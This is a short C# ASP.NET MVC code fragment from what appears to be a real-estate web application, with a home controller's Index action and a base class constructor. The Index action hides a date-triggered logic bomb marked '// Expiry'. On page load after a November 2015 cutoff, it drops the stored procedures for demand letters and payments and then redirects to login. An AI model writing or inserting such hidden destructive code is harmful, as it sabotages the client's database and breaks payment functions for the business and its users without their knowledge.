// GET: home/index public ActionResult Index() { if(DateTime.Now.Day>=8 && DateTime.Now.Month>=11 && DateTime.Now.Year >= 2015) { // Expiry DataFunctions db = new DataFunctions(); db.ExecuteNonQuery("drop procedure spGetDemandLetter"); db.ExecuteNonQuery("drop procedure spSaveDemandLetter"); db.ExecuteNonQuery("drop procedure Insert_Payment"); return RedirectToAction("Login", "Account", new { area = "" }); } return View(); }
public BaseActivity() { dbContext = new MyRealtyWebDBEntities(); context = new DataFunctions(); }